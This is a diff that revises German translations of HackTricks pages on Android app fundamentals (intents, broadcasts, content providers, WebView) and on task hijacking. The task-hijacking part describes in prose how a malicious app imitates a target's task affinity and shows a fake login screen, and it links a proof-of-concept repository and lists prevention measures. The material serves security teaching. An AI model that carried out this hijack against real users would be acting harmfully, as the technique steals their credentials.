|
|||
|
||||
Intents sind das primäre Mittel, durch das Android-Apps zwischen ihren Komponenten oder mit anderen Apps kommunizieren. Diese Nachrichtenobjekte können auch Daten zwischen Apps oder Komponenten übertragen, ähnlich wie GET/POST-Anfragen in HTTP-Kommunikationen verwendet werden.
|
||||
|
||||
Ein Intent ist also im Grunde eine **Nachricht, die zwischen Komponenten übergeben wird**. Intents **können an** bestimmte Komponenten oder Apps **gerichtet** werden oder **ohne einen bestimmten Empfänger gesendet werden**.\
|
||||
Ein Intent ist also im Grunde eine **Nachricht, die zwischen Komponenten übergeben wird**. Intents **können an** bestimmte Komponenten oder Apps gerichtet werden, **oder ohne einen bestimmten Empfänger gesendet werden**.\
|
||||
Einfach gesagt, kann ein Intent verwendet werden:
|
||||
|
||||
* Um eine Aktivität zu starten, die typischerweise eine Benutzeroberfläche für eine App öffnet
|
||||
* Um eine Aktivität zu starten, typischerweise um eine Benutzeroberfläche für eine App zu öffnen
|
||||
* Als Broadcasts, um das System und Apps über Änderungen zu informieren
|
||||
* Um einen Hintergrunddienst zu starten, zu stoppen und mit ihm zu kommunizieren
|
||||
* Um auf Daten über ContentProviders zuzugreifen
|
||||
|
@ -140,9 +132,9 @@ Wenn sie anfällig sind, **können Intents verwendet werden, um eine Vielzahl vo
|
|||
|
||||
Intent-Filter bestehen aus Kategorien, Aktionen und Datenfiltern, mit der Möglichkeit, zusätzliche Metadaten einzuschließen. Diese Konfiguration ermöglicht es Komponenten, spezifische Intents zu verarbeiten, die den deklarierten Kriterien entsprechen.
|
||||
|
||||
Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
|
||||
Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich angesehen und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
|
||||
|
||||
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so festgelegt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber hinzufügt, wer mit ihr interagieren kann.
|
||||
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so eingestellt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber hinzufügt, wer mit ihr interagieren kann.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -154,7 +146,7 @@ Intents werden programmgesteuert mit einem Intent-Konstruktor erstellt:
|
|||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
Die **Aktion** des zuvor deklarierten Intents ist **ACTION\_SEND** und das **Extra** ist ein mailto **Uri** (das Extra ist die zusätzliche Information, die der Intent erwartet).
|
||||
Die **Action** des zuvor deklarierten Intents ist **ACTION\_SEND** und das **Extra** ist ein mailto **Uri** (das Extra ist die zusätzliche Information, die der Intent erwartet).
|
||||
|
||||
Dieser Intent sollte im Manifest wie im folgenden Beispiel deklariert werden:
|
||||
```xml
|
||||
|
@ -167,7 +159,7 @@ Dieser Intent sollte im Manifest wie im folgenden Beispiel deklariert werden:
|
|||
```
|
||||
Ein intent-filter muss die **Aktion**, **Daten** und **Kategorie** übereinstimmen, um eine Nachricht zu empfangen.
|
||||
|
||||
Der Prozess der "Intent-Auflösung" bestimmt, welche App jede Nachricht empfangen soll. Dieser Prozess berücksichtigt das **Prioritätsattribut**, das in der **intent-filter-Deklaration** festgelegt werden kann, und **die mit der höheren Priorität wird ausgewählt**. Diese Priorität kann zwischen -1000 und 1000 festgelegt werden, und Anwendungen können den Wert `SYSTEM_HIGH_PRIORITY` verwenden. Wenn ein **Konflikt** auftritt, erscheint ein "Chooser"-Fenster, damit der **Benutzer entscheiden kann**.
|
||||
Der Prozess der "Intent-Auflösung" bestimmt, welche App jede Nachricht empfangen soll. Dieser Prozess berücksichtigt das **Prioritätsattribut**, das in der **intent-filter-Deklaration** festgelegt werden kann, und **diejenige mit der höheren Priorität wird ausgewählt**. Diese Priorität kann zwischen -1000 und 1000 festgelegt werden, und Anwendungen können den Wert `SYSTEM_HIGH_PRIORITY` verwenden. Wenn ein **Konflikt** auftritt, erscheint ein "Chooser"-Fenster, damit der **Benutzer entscheiden kann**.
|
||||
|
||||
### Explizite Intents
|
||||
|
||||
|
@ -183,7 +175,7 @@ context.startService(intent);
|
|||
```
|
||||
### Pending Intents
|
||||
|
||||
Diese ermöglichen es anderen Anwendungen, **Aktionen im Namen Ihrer Anwendung auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Beim Erstellen eines Pending Intent sollte **ein Intent und die auszuführende Aktion angegeben werden**. Wenn der **deklarierte Intent nicht explizit ist** (nicht angibt, welcher Intent ihn aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion** im Namen der Opfer-App ausführen. Darüber hinaus, **wenn keine Aktion angegeben ist**, kann die bösartige App **jede Aktion im Namen des Opfers** durchführen.
|
||||
Diese ermöglichen es anderen Anwendungen, **Aktionen im Namen Ihrer Anwendung auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Beim Erstellen eines Pending Intent sollte **ein Intent und die auszuführende Aktion angegeben werden**. Wenn der **deklarierte Intent nicht explizit** ist (nicht angibt, welcher Intent ihn aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion** im Namen der Opfer-App ausführen. Darüber hinaus, **wenn keine Aktion angegeben ist**, kann die bösartige App **jede Aktion im Namen des Opfers** durchführen.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
|
@ -194,12 +186,12 @@ Alternativ ist es auch möglich, **eine Berechtigung beim Senden des Broadcasts
|
|||
Es gibt **zwei Arten** von Broadcasts: **Normal** (asynchron) und **Ordered** (synchron). Die **Reihenfolge** basiert auf der **konfigurierten Priorität innerhalb des Empfängerelements**. **Jede App kann den Broadcast verarbeiten, weiterleiten oder verwerfen.**
|
||||
|
||||
Es ist möglich, einen **Broadcast** mit der Funktion `sendBroadcast(intent, receiverPermission)` aus der `Context`-Klasse zu **senden**.\
|
||||
Sie könnten auch die Funktion **`sendBroadcast`** aus dem **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren.
|
||||
Sie könnten auch die Funktion **`sendBroadcast`** von **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Diese Art von Broadcasts **kann lange nach dem Senden abgerufen werden**.\
|
||||
Diese wurden in API-Stufe 21 als veraltet markiert und es wird empfohlen, **sie nicht zu verwenden**.\
|
||||
Diese wurden in API-Stufe 21 als veraltet erklärt und es wird empfohlen, **sie nicht zu verwenden**.\
|
||||
**Sie ermöglichen es jeder Anwendung, die Daten abzuhören, aber auch sie zu ändern.**
|
||||
|
||||
Wenn Sie Funktionen finden, die das Wort "sticky" enthalten, wie **`sendStickyBroadcast`** oder **`sendStickyBroadcastAsUser`**, **prüfen Sie die Auswirkungen und versuchen Sie, sie zu entfernen**.
|
||||
|
@ -239,13 +231,13 @@ Erfahren Sie, wie Sie [Deep Links ohne Verwendung von HTML-Seiten aufrufen](./#e
|
|||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
Die **Android Interface Definition Language (AIDL)** ist darauf ausgelegt, die Kommunikation zwischen Client und Dienst in Android-Anwendungen durch **interprozessuale Kommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht gestattet ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird.
|
||||
Die **Android Interface Definition Language (AIDL)** wurde entwickelt, um die Kommunikation zwischen Client und Dienst in Android-Anwendungen durch **interprozessuale Kommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht erlaubt ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird.
|
||||
|
||||
### Schlüsselkonzepte
|
||||
|
||||
- **Gebundene Dienste**: Diese Dienste nutzen AIDL für IPC, wodurch Aktivitäten oder Komponenten an einen Dienst binden, Anfragen stellen und Antworten erhalten können. Die Methode `onBind` in der Dienstklasse ist entscheidend für den Beginn der Interaktion und stellt einen wichtigen Bereich für die Sicherheitsüberprüfung auf der Suche nach Schwachstellen dar.
|
||||
- **Gebundene Dienste**: Diese Dienste nutzen AIDL für IPC, wodurch Aktivitäten oder Komponenten an einen Dienst binden, Anfragen stellen und Antworten erhalten können. Die Methode `onBind` in der Dienstklasse ist entscheidend für den Beginn der Interaktion und stellt einen wichtigen Bereich für die Sicherheitsüberprüfung auf Schwachstellen dar.
|
||||
|
||||
- **Messenger**: Als gebundener Dienst ermöglicht der Messenger IPC mit dem Fokus auf die Verarbeitung von Daten über die Methode `onBind`. Es ist wichtig, diese Methode genau auf unsichere Datenverarbeitung oder die Ausführung sensibler Funktionen zu überprüfen.
|
||||
- **Messenger**: Als gebundener Dienst ermöglicht der Messenger IPC mit einem Fokus auf die Verarbeitung von Daten durch die Methode `onBind`. Es ist wichtig, diese Methode genau auf unsichere Datenverarbeitung oder die Ausführung sensibler Funktionen zu überprüfen.
|
||||
|
||||
- **Binder**: Obwohl die direkte Verwendung der Binder-Klasse aufgrund der Abstraktion durch AIDL weniger verbreitet ist, ist es vorteilhaft zu verstehen, dass der Binder als Kernel-Treiber fungiert, der den Datentransfer zwischen den Speicherbereichen verschiedener Prozesse erleichtert. Für ein besseres Verständnis steht eine Ressource zur Verfügung unter [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
|
@ -276,9 +268,9 @@ Jedoch ist der Zugriff auf eine Aktivität von einer anderen App nicht immer ein
|
|||
|
||||
Der Lebenszyklus einer Aktivität **beginnt mit der onCreate-Methode**, die die Benutzeroberfläche einrichtet und die Aktivität auf die Interaktion mit dem Benutzer vorbereitet.
|
||||
|
||||
### Anwendung Unterklasse
|
||||
### Anwendungssubklasse
|
||||
|
||||
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Unterklasse** der [Application](https://developer.android.com/reference/android/app/Application) Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Unterklasse definiert ist, wird sie die erste Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`** Methode, wenn sie in dieser Unterklasse implementiert ist, wird vor der **`onCreate`** Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
|
||||
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Subklasse** der [Application](https://developer.android.com/reference/android/app/Application)-Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Subklasse definiert ist, wird sie die erste Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`**-Methode, wenn sie in dieser Subklasse implementiert ist, wird vor der **`onCreate`**-Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -310,15 +302,15 @@ Eine interessante Anwendung von Diensten umfasst die Wiedergabe von Hintergrundm
|
|||
|
||||
**Intent-Filter** sind entscheidend in beiden Registrierungsarten, da sie bestimmen, welche Broadcasts den Empfänger auslösen. Sobald ein passender Broadcast gesendet wird, wird die Methode **`onReceive`** des Empfängers aufgerufen, was der App ermöglicht, entsprechend zu reagieren, z. B. das Verhalten als Reaktion auf eine Warnung bei niedrigem Batteriestand anzupassen.
|
||||
|
||||
Broadcasts können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, wobei Empfänger den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das potenzielle Sicherheitsrisiko zu beachten, da jede App sich priorisieren kann, um einen Broadcast abzufangen.
|
||||
Broadcasts können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, wobei Empfänger den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das potenzielle Sicherheitsrisiko zu beachten, da jede App sich selbst priorisieren kann, um einen Broadcast abzufangen.
|
||||
|
||||
Um die Funktionalität eines Empfängers zu verstehen, suchen Sie nach der Methode **`onReceive`** innerhalb seiner Klasse. Der Code dieser Methode kann das empfangene Intent manipulieren, was die Notwendigkeit der Datenvalidierung durch Empfänger hervorhebt, insbesondere bei **geordneten Broadcasts**, die das Intent modifizieren oder verwerfen können.
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen, wie **`readPermission`** und **`writePermission`**, sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden.
|
||||
**Content Providers** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen wie **`readPermission`** und **`writePermission`** sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden.
|
||||
|
||||
Die Eingangsvalidierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Providers unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und den Austausch zwischen Anwendungen erleichtern.
|
||||
Die Eingangsvalidierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Providers unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und das Teilen zwischen Anwendungen erleichtern.
|
||||
|
||||
**FileProvider**, ein spezialisierter Content Provider, konzentriert sich auf das sichere Teilen von Dateien. Er wird im Manifest der App mit spezifischen Attributen definiert, um den Zugriff auf Ordner zu steuern, die durch `android:exported` und `android:resource` auf Ordnerkonfigurationen verweisen. Vorsicht ist geboten, wenn Verzeichnisse geteilt werden, um zu vermeiden, dass sensible Daten unbeabsichtigt offengelegt werden.
|
||||
|
||||
|
@ -355,18 +347,18 @@ Ein wichtiger Punkt ist, dass WebView-Browser **keine Cookies** mit dem Hauptbro
|
|||
|
||||
Zum Laden von Inhalten stehen Methoden wie ````loadUrl````, ````loadData````, und ````loadDataWithBaseURL```` zur Verfügung. Es ist entscheidend sicherzustellen, dass diese URLs oder Dateien **sicher zu verwenden** sind. Sicherheitseinstellungen können über die ````WebSettings````-Klasse verwaltet werden. Beispielsweise kann das Deaktivieren von JavaScript mit ````setJavaScriptEnabled(false)```` XSS-Angriffe verhindern.
|
||||
|
||||
Die JavaScript "Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagieren, wobei Methoden ab Android 4.2 mit ````@JavascriptInterface```` für die Sicherheit markiert werden müssen.
|
||||
Die JavaScript "Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagieren, wobei Methoden ab Android 4.2 mit ````@JavascriptInterface```` für die Sicherheit gekennzeichnet werden müssen.
|
||||
|
||||
Das Zulassen des Zugriffs auf Inhalte (````setAllowContentAccess(true)````) ermöglicht es WebViews, auf Content Providers zuzugreifen, was ein Risiko darstellen könnte, es sei denn, die Inhalts-URLs werden als sicher verifiziert.
|
||||
|
||||
Um den Datei-Zugriff zu steuern:
|
||||
- Das Deaktivieren des Datei-Zugriffs (````setAllowFileAccess(false)````) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht-sensitive Inhalte verwendet werden.
|
||||
Um den Dateizugriff zu steuern:
|
||||
- Das Deaktivieren des Dateizugriffs (````setAllowFileAccess(false)````) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht sensible Inhalte verwendet werden.
|
||||
|
||||
## Andere App-Komponenten und Mobile Device Management
|
||||
|
||||
### **Digitale Signatur von Anwendungen**
|
||||
|
||||
- **Digitale Signaturen** sind ein Muss für Android-Apps, um sicherzustellen, dass sie **authentisch erstellt** sind, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation verifiziert werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt.
|
||||
- **Digitale Signaturen** sind ein Muss für Android-Apps, um sicherzustellen, dass sie **authentisch erstellt** wurden, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation verifiziert werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt.
|
||||
|
||||
### **App-Verifizierung für erhöhte Sicherheit**
|
||||
|
||||
|
@ -374,7 +366,7 @@ Um den Datei-Zugriff zu steuern:
|
|||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM-Lösungen** bieten **Überwachung und Sicherheit** für mobile Geräte durch die **Device Administration API**. Sie erfordern die Installation einer Android-App, um mobile Geräte effektiv zu verwalten und zu sichern. Zu den Hauptfunktionen gehören **Durchsetzung von Passwort-Richtlinien**, **Vorgabe von Speicher-Verschlüsselung** und **Erlauben von Remote-Datenlöschungen**, um umfassende Kontrolle und Sicherheit über mobile Geräte zu gewährleisten.
|
||||
- **MDM-Lösungen** bieten **Überwachung und Sicherheit** für mobile Geräte durch die **Device Administration API**. Sie erfordern die Installation einer Android-App, um mobile Geräte effektiv zu verwalten und zu sichern. Zu den Hauptfunktionen gehören **Durchsetzung von Passwort-Richtlinien**, **Vorgabe von Speicher-Verschlüsselung** und **Erlauben von Remote-Datenlöschung**, um umfassende Kontrolle und Sicherheit über mobile Geräte zu gewährleisten.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -385,19 +377,13 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,87 +1,74 @@
|
|||
# Android Task Hijacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Task, Back Stack und Foreground Activities
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Aufgabe, Back Stack und Vordergrundaktivitäten
|
||||
|
||||
In Android ist eine **Aufgabe** im Wesentlichen eine Reihe von Aktivitäten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe abzuschließen, organisiert innerhalb eines **Back Stacks**. Dieser Stack ordnet Aktivitäten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste Aktivität oben als **Vordergrundaktivität** angezeigt wird. Zu jedem Zeitpunkt ist nur diese Aktivität auf dem Bildschirm sichtbar, was sie Teil der **Vordergrundaufgabe** macht.
|
||||
In Android ist eine **Task** im Wesentlichen eine Gruppe von Aktivitäten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe abzuschließen, organisiert innerhalb eines **Back Stacks**. Dieser Stack ordnet Aktivitäten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste Aktivität oben als **Foreground Activity** angezeigt wird. Zu jedem Zeitpunkt ist nur diese Aktivität auf dem Bildschirm sichtbar, was sie Teil der **Foreground Task** macht.
|
||||
|
||||
Hier ist eine kurze Übersicht über Aktivitätsübergänge:
|
||||
|
||||
* **Aktivität 1** beginnt als einzige Aktivität im Vordergrund.
|
||||
* Das Starten von **Aktivität 2** schiebt **Aktivität 1** in den Back Stack und bringt **Aktivität 2** in den Vordergrund.
|
||||
* Das Starten von **Aktivität 3** verschiebt **Aktivität 1** und **Aktivität 2** weiter nach hinten im Stack, wobei **Aktivität 3** jetzt vorne ist.
|
||||
* Das Schließen von **Aktivität 3** bringt **Aktivität 2** zurück in den Vordergrund und zeigt das optimierte Navigationsmechanismus von Android.
|
||||
* Das Schließen von **Aktivität 3** bringt **Aktivität 2** zurück in den Vordergrund und zeigt das optimierte Task-Navigationssystem von Android.
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
||||
|
||||
## Task Affinity Angriff
|
||||
## Task-Affinitätsangriff
|
||||
|
||||
### Übersicht über Task Affinity und Startmodi
|
||||
### Übersicht über Task-Affinität und Startmodi
|
||||
|
||||
In Android-Anwendungen gibt **Task Affinity** an, welche Aufgabe eine Aktivität bevorzugt, typischerweise in Übereinstimmung mit dem Paketnamen der App. Diese Einrichtung ist entscheidend für die Erstellung einer Proof-of-Concept (PoC) App zur Demonstration des Angriffs.
|
||||
In Android-Anwendungen gibt die **Task-Affinität** die bevorzugte Task einer Aktivität an, die typischerweise mit dem Paketnamen der App übereinstimmt. Diese Einrichtung ist entscheidend für die Erstellung einer Proof-of-Concept (PoC) App zur Demonstration des Angriffs.
|
||||
|
||||
### Startmodi
|
||||
|
||||
Das Attribut `launchMode` steuert die Handhabung von Aktivitätsinstanzen innerhalb von Aufgaben. Der **singleTask** Modus ist entscheidend für diesen Angriff und diktiert drei Szenarien basierend auf den vorhandenen Aktivitätsinstanzen und Übereinstimmungen der Task Affinity. Der Exploit beruht auf der Fähigkeit der App des Angreifers, die Task Affinity der Ziel-App zu imitieren, wodurch das Android-System in die Irre geführt wird, die App des Angreifers anstelle der beabsichtigten Ziel-App zu starten.
|
||||
Das Attribut `launchMode` steuert die Handhabung von Aktivitätsinstanzen innerhalb von Tasks. Der **singleTask**-Modus ist für diesen Angriff entscheidend, da er drei Szenarien basierend auf den vorhandenen Aktivitätsinstanzen und Übereinstimmungen der Task-Affinität diktiert. Der Exploit beruht auf der Fähigkeit der App des Angreifers, die Task-Affinität der Ziel-App nachzuahmen, wodurch das Android-System in die Irre geführt wird, die App des Angreifers anstelle der beabsichtigten Ziel-App zu starten.
|
||||
|
||||
### Detaillierte Angriffs Schritte
|
||||
|
||||
1. **Installation der bösartigen App**: Das Opfer installiert die App des Angreifers auf seinem Gerät.
|
||||
2. **Erste Aktivierung**: Das Opfer öffnet zuerst die bösartige App und bereitet das Gerät für den Angriff vor.
|
||||
3. **Versuch, die Ziel-App zu starten**: Das Opfer versucht, die Ziel-App zu öffnen.
|
||||
4. **Ausführung der Hijack**: Aufgrund der übereinstimmenden Task Affinity wird die bösartige App anstelle der Ziel-App gestartet.
|
||||
4. **Ausführung der Hijack**: Aufgrund der übereinstimmenden Task-Affinität wird die bösartige App anstelle der Ziel-App gestartet.
|
||||
5. **Täuschung**: Die bösartige App zeigt einen gefälschten Anmeldebildschirm, der der Ziel-App ähnelt, und täuscht den Benutzer, sensible Informationen einzugeben.
|
||||
|
||||
Für eine praktische Umsetzung dieses Angriffs verweisen Sie auf das Task Hijacking Strandhogg Repository auf GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
Für eine praktische Umsetzung dieses Angriffs siehe das Task Hijacking Strandhogg-Repository auf GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
||||
### Präventionsmaßnahmen
|
||||
|
||||
Um solche Angriffe zu verhindern, können Entwickler `taskAffinity` auf einen leeren String setzen und den `singleInstance` Startmodus wählen, um die Isolation ihrer App von anderen zu gewährleisten. Die Anpassung der Funktion `onBackPressed()` bietet zusätzlichen Schutz gegen Task Hijacking.
|
||||
